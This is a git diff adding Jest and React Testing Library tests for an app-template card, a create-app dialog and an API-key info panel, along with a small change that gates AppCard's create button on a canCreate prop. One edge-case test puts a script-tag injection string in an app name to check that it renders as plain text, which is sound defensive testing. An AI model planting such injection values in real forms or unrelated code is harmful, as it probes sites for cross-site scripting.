+        multipleModelConfigs: [createModelAndParameter(), createModelAndParameter()],
+      })} />)
+
+      const twoItems = screen.getAllByTestId('debug-item')
+      expect(twoItems[0].style.width).toBe('calc(50% - 4px - 24px)')
+      expect(twoItems[1].style.width).toBe('calc(50% - 4px - 24px)')
+    })
+  })
+
   describe('layout sizing and positioning', () => {
     const expectItemLayout = (
       element: HTMLElement,
diff --git a/web/app/components/app/create-app-dialog/app-card/index.spec.tsx b/web/app/components/app/create-app-dialog/app-card/index.spec.tsx
new file mode 100644
index 0000000000..3122f06ec3
--- /dev/null
+++ b/web/app/components/app/create-app-dialog/app-card/index.spec.tsx
@@ -0,0 +1,347 @@
+import { render, screen, within } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import AppCard from './index'
+import type { AppIconType } from '@/types/app'
+import { AppModeEnum } from '@/types/app'
+import type { App } from '@/models/explore'
+
+jest.mock('@heroicons/react/20/solid', () => ({
+  PlusIcon: ({ className }: any) => <div data-testid="plus-icon" className={className} aria-label="Add icon">+</div>,
+}))
+
+const mockApp: App = {
+  app: {
+    id: 'test-app-id',
+    mode: AppModeEnum.CHAT,
+    icon_type: 'emoji' as AppIconType,
+    icon: '🤖',
+    icon_background: '#FFEAD5',
+    icon_url: '',
+    name: 'Test Chat App',
+    description: 'A test chat application for demonstration purposes',
+    use_icon_as_answer_icon: false,
+  },
+  app_id: 'test-app-id',
+  description: 'A comprehensive chat application template',
+  copyright: 'Test Corp',
+  privacy_policy: null,
+  custom_disclaimer: null,
+  category: 'Assistant',
+  position: 1,
+  is_listed: true,
+  install_count: 100,
+  installed: false,
+  editable: true,
+  is_agent: false,
+}
+
+describe('AppCard', () => {
+  const defaultProps = {
+    app: mockApp,
+    canCreate: true,
+    onCreate: jest.fn(),
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      const { container } = render(<AppCard {...defaultProps} />)
+
+      expect(container.querySelector('em-emoji')).toBeInTheDocument()
+      expect(screen.getByText('Test Chat App')).toBeInTheDocument()
+      expect(screen.getByText(mockApp.description)).toBeInTheDocument()
+    })
+
+    it('should render app type icon and label', () => {
+      const { container } = render(<AppCard {...defaultProps} />)
+
+      expect(container.querySelector('svg')).toBeInTheDocument()
+      expect(screen.getByText('app.typeSelector.chatbot')).toBeInTheDocument()
+    })
+  })
+
+  describe('Props', () => {
+    describe('canCreate behavior', () => {
+      it('should show create button when canCreate is true', () => {
+        render(<AppCard {...defaultProps} canCreate={true} />)
+
+        const button = screen.getByRole('button', { name: /app\.newApp\.useTemplate/ })
+        expect(button).toBeInTheDocument()
+      })
+
+      it('should hide create button when canCreate is false', () => {
+        render(<AppCard {...defaultProps} canCreate={false} />)
+
+        const button = screen.queryByRole('button', { name: /app\.newApp\.useTemplate/ })
+        expect(button).not.toBeInTheDocument()
+      })
+    })
+
+    it('should display app name from appBasicInfo', () => {
+      const customApp = {
+        ...mockApp,
+        app: {
+          ...mockApp.app,
+          name: 'Custom App Name',
+        },
+      }
+      render(<AppCard {...defaultProps} app={customApp} />)
+
+      expect(screen.getByText('Custom App Name')).toBeInTheDocument()
+    })
+
+    it('should display app description from app level', () => {
+      const customApp = {
+        ...mockApp,
+        description: 'Custom description for the app',
+      }
+      render(<AppCard {...defaultProps} app={customApp} />)
+
+      expect(screen.getByText('Custom description for the app')).toBeInTheDocument()
+    })
+
+    it('should truncate long app names', () => {
+      const longNameApp = {
+        ...mockApp,
+        app: {
+          ...mockApp.app,
+          name: 'This is a very long app name that should be truncated with line-clamp-1',
+        },
+      }
+      render(<AppCard {...defaultProps} app={longNameApp} />)
+
+      const nameElement = screen.getByTitle('This is a very long app name that should be truncated with line-clamp-1')
+      expect(nameElement).toBeInTheDocument()
+    })
+  })
+
+  describe('App Modes - Data Driven Tests', () => {
+    const testCases = [
+      {
+        mode: AppModeEnum.CHAT,
+        expectedLabel: 'app.typeSelector.chatbot',
+        description: 'Chat application mode',
+      },
+      {
+        mode: AppModeEnum.AGENT_CHAT,
+        expectedLabel: 'app.typeSelector.agent',
+        description: 'Agent chat mode',
+      },
+      {
+        mode: AppModeEnum.COMPLETION,
+        expectedLabel: 'app.typeSelector.completion',
+        description: 'Completion mode',
+      },
+      {
+        mode: AppModeEnum.ADVANCED_CHAT,
+        expectedLabel: 'app.typeSelector.advanced',
+        description: 'Advanced chat mode',
+      },
+      {
+        mode: AppModeEnum.WORKFLOW,
+        expectedLabel: 'app.typeSelector.workflow',
+        description: 'Workflow mode',
+      },
+    ]
+
+    testCases.forEach(({ mode, expectedLabel, description }) => {
+      it(`should display correct type label for ${description}`, () => {
+        const appWithMode = {
+          ...mockApp,
+          app: {
+            ...mockApp.app,
+            mode,
+          },
+        }
+        render(<AppCard {...defaultProps} app={appWithMode} />)
+
+        expect(screen.getByText(expectedLabel)).toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('Icon Type Tests', () => {
+    it('should render emoji icon without image element', () => {
+      const appWithIcon = {
+        ...mockApp,
+        app: {
+          ...mockApp.app,
+          icon_type: 'emoji' as AppIconType,
+          icon: '🤖',
+        },
+      }
+      const { container } = render(<AppCard {...defaultProps} app={appWithIcon} />)
+
+      const card = container.firstElementChild as HTMLElement
+      expect(within(card).queryByRole('img', { name: 'app icon' })).not.toBeInTheDocument()
+      expect(card.querySelector('em-emoji')).toBeInTheDocument()
+    })
+
+    it('should prioritize icon_url when both icon and icon_url are provided', () => {
+      const appWithImageUrl = {
+        ...mockApp,
+        app: {
+          ...mockApp.app,
+          icon_type: 'image' as AppIconType,
+          icon: 'local-icon.png',
+          icon_url: 'https://example.com/remote-icon.png',
+        },
+      }
+      render(<AppCard {...defaultProps} app={appWithImageUrl} />)
+
+      expect(screen.getByRole('img', { name: 'app icon' })).toHaveAttribute('src', 'https://example.com/remote-icon.png')
+    })
+  })
+
+  describe('User Interactions', () => {
+    it('should call onCreate when create button is clicked', async () => {
+      const mockOnCreate = jest.fn()
+      render(<AppCard {...defaultProps} onCreate={mockOnCreate} />)
+
+      const button = screen.getByRole('button', { name: /app\.newApp\.useTemplate/ })
+      await userEvent.click(button)
+      expect(mockOnCreate).toHaveBeenCalledTimes(1)
+    })
+
+    it('should handle click on card itself', async () => {
+      const mockOnCreate = jest.fn()
+      const { container } = render(<AppCard {...defaultProps} onCreate={mockOnCreate} />)
+
+      const card = container.firstElementChild as HTMLElement
+      await userEvent.click(card)
+      // Note: Card click doesn't trigger onCreate, only the button does
+      expect(mockOnCreate).not.toHaveBeenCalled()
+    })
+  })
+
+  describe('Keyboard Accessibility', () => {
+    it('should allow the create button to be focused', async () => {
+      const mockOnCreate = jest.fn()
+      render(<AppCard {...defaultProps} onCreate={mockOnCreate} />)
+
+      await userEvent.tab()
+      const button = screen.getByRole('button', { name: /app\.newApp\.useTemplate/ }) as HTMLButtonElement
+
+      // Test that button can be focused
+      expect(button).toHaveFocus()
+
+      // Test click event works (keyboard events on buttons typically trigger click)
+      await userEvent.click(button)
+      expect(mockOnCreate).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle app with null icon_type', () => {
+      const appWithNullIcon = {
+        ...mockApp,
+        app: {
+          ...mockApp.app,
+          icon_type: null,
+        },
+      }
+      const { container } = render(<AppCard {...defaultProps} app={appWithNullIcon} />)
+
+      const appIcon = container.querySelector('em-emoji')
+      expect(appIcon).toBeInTheDocument()
+      // AppIcon component should handle null icon_type gracefully
+    })
+
+    it('should handle app with empty description', () => {
+      const appWithEmptyDesc = {
+        ...mockApp,
+        description: '',
+      }
+      const { container } = render(<AppCard {...defaultProps} app={appWithEmptyDesc} />)
+
+      const descriptionContainer = container.querySelector('.line-clamp-3')
+      expect(descriptionContainer).toBeInTheDocument()
+      expect(descriptionContainer).toHaveTextContent('')
+    })
+
+    it('should handle app with very long description', () => {
+      const longDescription = 'This is a very long description that should be truncated with line-clamp-3. '.repeat(5)
+      const appWithLongDesc = {
+        ...mockApp,
+        description: longDescription,
+      }
+      render(<AppCard {...defaultProps} app={appWithLongDesc} />)
+
+      expect(screen.getByText(/This is a very long description/)).toBeInTheDocument()
+    })
+
+    it('should handle app with special characters in name', () => {
+      const appWithSpecialChars = {
+        ...mockApp,
+        app: {
+          ...mockApp.app,
+          name: 'App <script>alert("test")</script> & Special "Chars"',
+        },
+      }
+      render(<AppCard {...defaultProps} app={appWithSpecialChars} />)
+
+      expect(screen.getByText('App <script>alert("test")</script> & Special "Chars"')).toBeInTheDocument()
+    })
+
+    it('should handle onCreate function throwing error', async () => {
+      const errorOnCreate = jest.fn(() => {
+        throw new Error('Create failed')
+      })
+
+      // Mock console.error to avoid test output noise
+      const consoleSpy = jest.spyOn(console, 'error').mockImplementation(jest.fn())
+
+      render(<AppCard {...defaultProps} onCreate={errorOnCreate} />)
+
+      const button = screen.getByRole('button', { name: /app\.newApp\.useTemplate/ })
+      let capturedError: unknown
+      try {
+        await userEvent.click(button)
+      }
+      catch (err) {
+        capturedError = err
+      }
+      expect(errorOnCreate).toHaveBeenCalledTimes(1)
+      expect(consoleSpy).toHaveBeenCalled()
+      if (capturedError instanceof Error)
+        expect(capturedError.message).toContain('Create failed')
+
+      consoleSpy.mockRestore()
+    })
+  })
+
+  describe('Accessibility', () => {
+    it('should have proper elements for accessibility', () => {
+      const { container } = render(<AppCard {...defaultProps} />)
+
+      expect(container.querySelector('em-emoji')).toBeInTheDocument()
+      expect(container.querySelector('svg')).toBeInTheDocument()
+    })
+
+    it('should have title attribute for app name when truncated', () => {
+      render(<AppCard {...defaultProps} />)
+
+      const nameElement = screen.getByText('Test Chat App')
+      expect(nameElement).toHaveAttribute('title', 'Test Chat App')
+    })
+
+    it('should have accessible button with proper label', () => {
+      render(<AppCard {...defaultProps} />)
+
+      const button = screen.getByRole('button', { name: /app\.newApp\.useTemplate/ })
+      expect(button).toBeEnabled()
+      expect(button).toHaveTextContent('app.newApp.useTemplate')
+    })
+  })
+
+  describe('User-Visible Behavior Tests', () => {
+    it('should show plus icon in create button', () => {
+      render(<AppCard {...defaultProps} />)
+
+      expect(screen.getByTestId('plus-icon')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/app/create-app-dialog/app-card/index.tsx b/web/app/components/app/create-app-dialog/app-card/index.tsx
index 7f7ede0065..a3bf91cb5d 100644
--- a/web/app/components/app/create-app-dialog/app-card/index.tsx
+++ b/web/app/components/app/create-app-dialog/app-card/index.tsx
@@ -15,6 +15,7 @@ export type AppCardProps = {
 
 const AppCard = ({
   app,
+  canCreate,
   onCreate,
 }: AppCardProps) => {
   const { t } = useTranslation()
@@ -45,14 +46,16 @@ const AppCard = ({
           {app.description}
         </div>
       </div>
-      <div className={cn('absolute bottom-0 left-0 right-0 hidden bg-gradient-to-t from-components-panel-gradient-2 from-[60.27%] to-transparent p-4 pt-8 group-hover:flex')}>
-        <div className={cn('flex h-8 w-full items-center space-x-2')}>
-          <Button variant='primary' className='grow' onClick={() => onCreate()}>
-            <PlusIcon className='mr-1 h-4 w-4' />
-            <span className='text-xs'>{t('app.newApp.useTemplate')}</span>
-          </Button>
+      {canCreate && (
+        <div className={cn('absolute bottom-0 left-0 right-0 hidden bg-gradient-to-t from-components-panel-gradient-2 from-[60.27%] to-transparent p-4 pt-8 group-hover:flex')}>
+          <div className={cn('flex h-8 w-full items-center space-x-2')}>
+            <Button variant='primary' className='grow' onClick={() => onCreate()}>
+              <PlusIcon className='mr-1 h-4 w-4' />
+              <span className='text-xs'>{t('app.newApp.useTemplate')}</span>
+            </Button>
+          </div>
         </div>
-      </div>
+      )}
     </div>
   )
 }
diff --git a/web/app/components/app/create-app-dialog/index.spec.tsx b/web/app/components/app/create-app-dialog/index.spec.tsx
new file mode 100644
index 0000000000..a64e409b25
--- /dev/null
+++ b/web/app/components/app/create-app-dialog/index.spec.tsx
@@ -0,0 +1,287 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import CreateAppTemplateDialog from './index'
+
+// Mock external dependencies (not base components)
+jest.mock('./app-list', () => {
+  return function MockAppList({
+    onCreateFromBlank,
+    onSuccess,
+  }: {
+    onCreateFromBlank?: () => void
+    onSuccess: () => void
+  }) {
+    return (
+      <div data-testid="app-list">
+        <button data-testid="app-list-success" onClick={onSuccess}>
+          Success
+        </button>
+        {onCreateFromBlank && (
+          <button data-testid="create-from-blank" onClick={onCreateFromBlank}>
+            Create from Blank
+          </button>
+        )}
+      </div>
+    )
+  }
+})
+
+jest.mock('ahooks', () => ({
+  useKeyPress: jest.fn((key: string, callback: () => void) => {
+    // Mock implementation for testing
+    return jest.fn()
+  }),
+}))
+
+describe('CreateAppTemplateDialog', () => {
+  const defaultProps = {
+    show: false,
+    onSuccess: jest.fn(),
+    onClose: jest.fn(),
+    onCreateFromBlank: jest.fn(),
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should not render when show is false', () => {
+      render(<CreateAppTemplateDialog {...defaultProps} />)
+
+      // FullScreenModal should not render any content when open is false
+      expect(screen.queryByRole('dialog')).not.toBeInTheDocument()
+    })
+
+    it('should render modal when show is true', () => {
+      render(<CreateAppTemplateDialog {...defaultProps} show={true} />)
+
+      // FullScreenModal renders with role="dialog"
+      expect(screen.getByRole('dialog')).toBeInTheDocument()
+      expect(screen.getByTestId('app-list')).toBeInTheDocument()
+    })
+
+    it('should render create from blank button when onCreateFromBlank is provided', () => {
+      render(<CreateAppTemplateDialog {...defaultProps} show={true} />)
+
+      expect(screen.getByTestId('create-from-blank')).toBeInTheDocument()
+    })
+
+    it('should not render create from blank button when onCreateFromBlank is not provided', () => {
+      const { onCreateFromBlank, ...propsWithoutOnCreate } = defaultProps
+
+      render(<CreateAppTemplateDialog {...propsWithoutOnCreate} show={true} />)
+
+      expect(screen.queryByTestId('create-from-blank')).not.toBeInTheDocument()
+    })
+  })
+
+  describe('Props', () => {
+    it('should pass show prop to FullScreenModal', () => {
+      const { rerender } = render(<CreateAppTemplateDialog {...defaultProps} />)
+
+      expect(screen.queryByRole('dialog')).not.toBeInTheDocument()
+
+      rerender(<CreateAppTemplateDialog {...defaultProps} show={true} />)
+      expect(screen.getByRole('dialog')).toBeInTheDocument()
+    })
+
+    it('should pass closable prop to FullScreenModal', () => {
+      // Since the FullScreenModal is always rendered with closable=true
+      // we can verify that the modal renders with the proper structure
+      render(<CreateAppTemplateDialog {...defaultProps} show={true} />)
+
+      // Verify that the modal has the proper dialog structure
+      const dialog = screen.getByRole('dialog')
+      expect(dialog).toBeInTheDocument()
+      expect(dialog).toHaveAttribute('aria-modal', 'true')
+    })
+  })
+
+  describe('User Interactions', () => {
+    it('should handle close interactions', () => {
+      const mockOnClose = jest.fn()
+      render(<CreateAppTemplateDialog {...defaultProps} show={true} onClose={mockOnClose} />)
+
+      // Test that the modal is rendered
+      const dialog = screen.getByRole('dialog')
+      expect(dialog).toBeInTheDocument()
+
+      // Test that AppList component renders (child component interactions)
+      expect(screen.getByTestId('app-list')).toBeInTheDocument()
+      expect(screen.getByTestId('app-list-success')).toBeInTheDocument()
+    })
+
+    it('should call both onSuccess and onClose when app list success is triggered', () => {
+      const mockOnSuccess = jest.fn()
+      const mockOnClose = jest.fn()
+      render(<CreateAppTemplateDialog
+        {...defaultProps}
+        show={true}
+        onSuccess={mockOnSuccess}
+        onClose={mockOnClose}
+      />)
+
+      fireEvent.click(screen.getByTestId('app-list-success'))
+
+      expect(mockOnSuccess).toHaveBeenCalledTimes(1)
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onCreateFromBlank when create from blank is clicked', () => {
+      const mockOnCreateFromBlank = jest.fn()
+      render(<CreateAppTemplateDialog
+        {...defaultProps}
+        show={true}
+        onCreateFromBlank={mockOnCreateFromBlank}
+      />)
+
+      fireEvent.click(screen.getByTestId('create-from-blank'))
+
+      expect(mockOnCreateFromBlank).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  describe('useKeyPress Integration', () => {
+    it('should set up ESC key listener when modal is shown', () => {
+      const { useKeyPress } = require('ahooks')
+
+      render(<CreateAppTemplateDialog {...defaultProps} show={true} />)
+
+      expect(useKeyPress).toHaveBeenCalledWith('esc', expect.any(Function))
+    })
+
+    it('should handle ESC key press to close modal', () => {
+      const { useKeyPress } = require('ahooks')
+      let capturedCallback: (() => void) | undefined
+
+      useKeyPress.mockImplementation((key: string, callback: () => void) => {
+        if (key === 'esc')
+          capturedCallback = callback
+
+        return jest.fn()
+      })
+
+      const mockOnClose = jest.fn()
+      render(<CreateAppTemplateDialog
+        {...defaultProps}
+        show={true}
+        onClose={mockOnClose}
+      />)
+
+      expect(capturedCallback).toBeDefined()
+      expect(typeof capturedCallback).toBe('function')
+
+      // Simulate ESC key press
+      capturedCallback?.()
+
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should not call onClose when ESC key is pressed and modal is not shown', () => {
+      const { useKeyPress } = require('ahooks')
+      let capturedCallback: (() => void) | undefined
+
+      useKeyPress.mockImplementation((key: string, callback: () => void) => {
+        if (key === 'esc')
+          capturedCallback = callback
+
+        return jest.fn()
+      })
+
+      const mockOnClose = jest.fn()
+      render(<CreateAppTemplateDialog
+        {...defaultProps}
+        show={false} // Modal not shown
+        onClose={mockOnClose}
+      />)
+
+      // The callback should still be created but not execute onClose
+      expect(capturedCallback).toBeDefined()
+
+      // Simulate ESC key press
+      capturedCallback?.()
+
+      // onClose should not be called because modal is not shown
+      expect(mockOnClose).not.toHaveBeenCalled()
+    })
+  })
+
+  describe('Callback Dependencies', () => {
+    it('should create stable callback reference for ESC key handler', () => {
+      const { useKeyPress } = require('ahooks')
+
+      render(<CreateAppTemplateDialog {...defaultProps} show={true} />)
+
+      // Verify that useKeyPress was called with a function
+      const calls = useKeyPress.mock.calls
+      expect(calls.length).toBeGreaterThan(0)
+      expect(calls[0][0]).toBe('esc')
+      expect(typeof calls[0][1]).toBe('function')
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle null props gracefully', () => {
+      expect(() => {
+        render(<CreateAppTemplateDialog
+          show={true}
+          onSuccess={jest.fn()}
+          onClose={jest.fn()}
+          // onCreateFromBlank is undefined
+        />)
+      }).not.toThrow()
+    })
+
+    it('should handle undefined props gracefully', () => {
+      expect(() => {
+        render(<CreateAppTemplateDialog
+          show={true}
+          onSuccess={jest.fn()}
+          onClose={jest.fn()}
+          onCreateFromBlank={undefined}
+        />)
+      }).not.toThrow()
+    })
+
+    it('should handle rapid show/hide toggles', () => {
+      // Test initial state
+      const { unmount } = render(<CreateAppTemplateDialog {...defaultProps} show={false} />)
+      unmount()
+
+      // Test show state
+      render(<CreateAppTemplateDialog {...defaultProps} show={true} />)
+      expect(screen.getByRole('dialog')).toBeInTheDocument()
+
+      // Test hide state
+      render(<CreateAppTemplateDialog {...defaultProps} show={false} />)
+      // Due to transition animations, we just verify the component handles the prop change
+      expect(() => render(<CreateAppTemplateDialog {...defaultProps} show={false} />)).not.toThrow()
+    })
+
+    it('should handle missing optional onCreateFromBlank prop', () => {
+      const { onCreateFromBlank, ...propsWithoutOnCreate } = defaultProps
+
+      expect(() => {
+        render(<CreateAppTemplateDialog {...propsWithoutOnCreate} show={true} />)
+      }).not.toThrow()
+
+      expect(screen.getByTestId('app-list')).toBeInTheDocument()
+      expect(screen.queryByTestId('create-from-blank')).not.toBeInTheDocument()
+    })
+
+    it('should work with all required props only', () => {
+      const requiredProps = {
+        show: true,
+        onSuccess: jest.fn(),
+        onClose: jest.fn(),
+      }
+
+      expect(() => {
+        render(<CreateAppTemplateDialog {...requiredProps} />)
+      }).not.toThrow()
+
+      expect(screen.getByRole('dialog')).toBeInTheDocument()
+      expect(screen.getByTestId('app-list')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/app/overview/apikey-info-panel/apikey-info-panel.test-utils.tsx b/web/app/components/app/overview/apikey-info-panel/apikey-info-panel.test-utils.tsx
new file mode 100644
index 0000000000..1b1e729546
--- /dev/null
+++ b/web/app/components/app/overview/apikey-info-panel/apikey-info-panel.test-utils.tsx
@@ -0,0 +1,209 @@
+import type { RenderOptions } from '@testing-library/react'
+import { fireEvent, render } from '@testing-library/react'
+import { defaultPlan } from '@/app/components/billing/config'
+import { noop } from 'lodash-es'
+import type { ModalContextState } from '@/context/modal-context'
+import APIKeyInfoPanel from './index'
+
+// Mock the modules before importing the functions
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: jest.fn(),
+}))
+
+jest.mock('@/context/modal-context', () => ({
+  useModalContext: jest.fn(),
+}))
+
+import { useProviderContext as actualUseProviderContext } from '@/context/provider-context'
+import { useModalContext as actualUseModalContext } from '@/context/modal-context'
+
+// Type casting for mocks
+const mockUseProviderContext = actualUseProviderContext as jest.MockedFunction<typeof actualUseProviderContext>
+const mockUseModalContext = actualUseModalContext as jest.MockedFunction<typeof actualUseModalContext>
+
+// Default mock data
+const defaultProviderContext = {
+  modelProviders: [],
+  refreshModelProviders: noop,
+  textGenerationModelList: [],
+  supportRetrievalMethods: [],
+  isAPIKeySet: false,
+  plan: defaultPlan,
+  isFetchedPlan: false,
+  enableBilling: false,
+  onPlanInfoChanged: noop,
+  enableReplaceWebAppLogo: false,
+  modelLoadBalancingEnabled: false,
+  datasetOperatorEnabled: false,
+  enableEducationPlan: false,
+  isEducationWorkspace: false,
+  isEducationAccount: false,
+  allowRefreshEducationVerify: false,
+  educationAccountExpireAt: null,
+  isLoadingEducationAccountInfo: false,
+  isFetchingEducationAccountInfo: false,
+  webappCopyrightEnabled: false,
+  licenseLimit: {
+    workspace_members: {
+      size: 0,
+      limit: 0,
+    },
+  },
+  refreshLicenseLimit: noop,
+  isAllowTransferWorkspace: false,
+  isAllowPublishAsCustomKnowledgePipelineTemplate: false,
+}
+
+const defaultModalContext: ModalContextState = {
+  setShowAccountSettingModal: noop,
+  setShowApiBasedExtensionModal: noop,
+  setShowModerationSettingModal: noop,
+  setShowExternalDataToolModal: noop,
+  setShowPricingModal: noop,
+  setShowAnnotationFullModal: noop,
+  setShowModelModal: noop,
+  setShowExternalKnowledgeAPIModal: noop,
+  setShowModelLoadBalancingModal: noop,
+  setShowOpeningModal: noop,
+  setShowUpdatePluginModal: noop,
+  setShowEducationExpireNoticeModal: noop,
+  setShowTriggerEventsLimitModal: noop,
+}
+
+export type MockOverrides = {
+  providerContext?: Partial<typeof defaultProviderContext>
+  modalContext?: Partial<typeof defaultModalContext>
+}
+
+export type APIKeyInfoPanelRenderOptions = {
+  mockOverrides?: MockOverrides
+} & Omit<RenderOptions, 'wrapper'>
+
+// Setup function to configure mocks
+export function setupMocks(overrides: MockOverrides = {}) {
+  mockUseProviderContext.mockReturnValue({
+    ...defaultProviderContext,
+    ...overrides.providerContext,
+  })
+
+  mockUseModalContext.mockReturnValue({
+    ...defaultModalContext,
+    ...overrides.modalContext,
+  })
+}
+
+// Custom render function
+export function renderAPIKeyInfoPanel(options: APIKeyInfoPanelRenderOptions = {}) {
+  const { mockOverrides, ...renderOptions } = options
+
+  setupMocks(mockOverrides)
+
+  return render(<APIKeyInfoPanel />, renderOptions)
+}
+
+// Helper functions for common test scenarios
+export const scenarios = {
+  // Render with API key not set (default)
+  withAPIKeyNotSet: (overrides: MockOverrides = {}) =>
+    renderAPIKeyInfoPanel({
+      mockOverrides: {
+        providerContext: { isAPIKeySet: false },
+        ...overrides,
+      },
+    }),
+
+  // Render with API key already set
+  withAPIKeySet: (overrides: MockOverrides = {}) =>
+    renderAPIKeyInfoPanel({
+      mockOverrides: {
+        providerContext: { isAPIKeySet: true },
+        ...overrides,
+      },
+    }),
+
+  // Render with mock modal function
+  withMockModal: (mockSetShowAccountSettingModal: jest.Mock, overrides: MockOverrides = {}) =>
+    renderAPIKeyInfoPanel({
+      mockOverrides: {
+        modalContext: { setShowAccountSettingModal: mockSetShowAccountSettingModal },
+        ...overrides,
+      },
+    }),
+}
+
+// Common test assertions
+export const assertions = {
+  // Should render main button
+  shouldRenderMainButton: () => {
+    const button = document.querySelector('button.btn-primary')
+    expect(button).toBeInTheDocument()
+    return button
+  },
+
+  // Should not render at all
+  shouldNotRender: (container: HTMLElement) => {
+    expect(container.firstChild).toBeNull()
+  },
+
+  // Should have correct panel styling
+  shouldHavePanelStyling: (panel: HTMLElement) => {
+    expect(panel).toHaveClass(
+      'border-components-panel-border',
+      'bg-components-panel-bg',
+      'relative',
+      'mb-6',
+      'rounded-2xl',
+      'border',
+      'p-8',
+      'shadow-md',
+    )
+  },
+
+  // Should have close button
+  shouldHaveCloseButton: (container: HTMLElement) => {
+    const closeButton = container.querySelector('.absolute.right-4.top-4')
+    expect(closeButton).toBeInTheDocument()
+    expect(closeButton).toHaveClass('cursor-pointer')
+    return closeButton
+  },
+}
+
+// Common user interactions
+export const interactions = {
+  // Click the main button
+  clickMainButton: () => {
+    const button = document.querySelector('button.btn-primary')
+    if (button) fireEvent.click(button)
+    return button
+  },
+
+  // Click the close button
+  clickCloseButton: (container: HTMLElement) => {
+    const closeButton = container.querySelector('.absolute.right-4.top-4')
+    if (closeButton) fireEvent.click(closeButton)
+    return closeButton
+  },
+}
+
+// Text content keys for assertions
+export const textKeys = {
+  selfHost: {
+    titleRow1: /appOverview\.apiKeyInfo\.selfHost\.title\.row1/,
+    titleRow2: /appOverview\.apiKeyInfo\.selfHost\.title\.row2/,
+    setAPIBtn: /appOverview\.apiKeyInfo\.setAPIBtn/,
+    tryCloud: /appOverview\.apiKeyInfo\.tryCloud/,
+  },
+  cloud: {
+    trialTitle: /appOverview\.apiKeyInfo\.cloud\.trial\.title/,
+    trialDescription: /appOverview\.apiKeyInfo\.cloud\.trial\.description/,
+    setAPIBtn: /appOverview\.apiKeyInfo\.setAPIBtn/,
+  },
+}
+
+// Setup and cleanup utilities
+export function clearAllMocks() {
+  jest.clearAllMocks()
+}
+
+// Export mock functions for external access
+export { mockUseProviderContext, mockUseModalContext, defaultModalContext }
diff --git a/web/app/components/app/overview/apikey-info-panel/cloud.spec.tsx b/web/app/components/app/overview/apikey-info-panel/cloud.spec.tsx
new file mode 100644
index 0000000000..c7cb061fde
--- /dev/null
+++ b/web/app/components/app/overview/apikey-info-panel/cloud.spec.tsx
@@ -0,0 +1,122 @@
+import { cleanup, screen } from '@testing-library/react'
+import { ACCOUNT_SETTING_TAB } from '@/app/components/header/account-setting/constants'
+import {
+  assertions,
+  clearAllMocks,
+  defaultModalContext,
+  interactions,
+  mockUseModalContext,
+  scenarios,
+  textKeys,
+} from './apikey-info-panel.test-utils'
+
+// Mock config for Cloud edition
+jest.mock('@/config', () => ({
+  IS_CE_EDITION: false, // Test Cloud edition
+}))
+
+afterEach(cleanup)
+
+describe('APIKeyInfoPanel - Cloud Edition', () => {
+  const mockSetShowAccountSettingModal = jest.fn()
+
+  beforeEach(() => {
+    clearAllMocks()
+    mockUseModalContext.mockReturnValue({
+      ...defaultModalContext,
+      setShowAccountSettingModal: mockSetShowAccountSettingModal,
+    })
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing when API key is not set', () => {
+      scenarios.withAPIKeyNotSet()
+      assertions.shouldRenderMainButton()
+    })
+
+    it('should not render when API key is already set', () => {
+      const { container } = scenarios.withAPIKeySet()
+      assertions.shouldNotRender(container)
+    })
+
+    it('should not render when panel is hidden by user', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      interactions.clickCloseButton(container)
+      assertions.shouldNotRender(container)
+    })
+  })
+
+  describe('Cloud Edition Content', () => {
+    it('should display cloud version title', () => {
+      scenarios.withAPIKeyNotSet()
+      expect(screen.getByText(textKeys.cloud.trialTitle)).toBeInTheDocument()
+    })
+
+    it('should display emoji for cloud version', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      expect(container.querySelector('em-emoji')).toBeInTheDocument()
+      expect(container.querySelector('em-emoji')).toHaveAttribute('id', '😀')
+    })
+
+    it('should display cloud version description', () => {
+      scenarios.withAPIKeyNotSet()
+      expect(screen.getByText(textKeys.cloud.trialDescription)).toBeInTheDocument()
+    })
+
+    it('should not render external link for cloud version', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      expect(container.querySelector('a[href="https://cloud.dify.ai/apps"]')).not.toBeInTheDocument()
+    })
+
+    it('should display set API button text', () => {
+      scenarios.withAPIKeyNotSet()
+      expect(screen.getByText(textKeys.cloud.setAPIBtn)).toBeInTheDocument()
+    })
+  })
+
+  describe('User Interactions', () => {
+    it('should call setShowAccountSettingModal when set API button is clicked', () => {
+      scenarios.withMockModal(mockSetShowAccountSettingModal)
+
+      interactions.clickMainButton()
+
+      expect(mockSetShowAccountSettingModal).toHaveBeenCalledWith({
+        payload: ACCOUNT_SETTING_TAB.PROVIDER,
+      })
+    })
+
+    it('should hide panel when close button is clicked', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      expect(container.firstChild).toBeInTheDocument()
+
+      interactions.clickCloseButton(container)
+      assertions.shouldNotRender(container)
+    })
+  })
+
+  describe('Props and Styling', () => {
+    it('should render button with primary variant', () => {
+      scenarios.withAPIKeyNotSet()
+      const button = screen.getByRole('button')
+      expect(button).toHaveClass('btn-primary')
+    })
+
+    it('should render panel container with correct classes', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      const panel = container.firstChild as HTMLElement
+      assertions.shouldHavePanelStyling(panel)
+    })
+  })
+
+  describe('Accessibility', () => {
+    it('should have button with proper role', () => {
+      scenarios.withAPIKeyNotSet()
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+
+    it('should have clickable close button', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      assertions.shouldHaveCloseButton(container)
+    })
+  })
+})
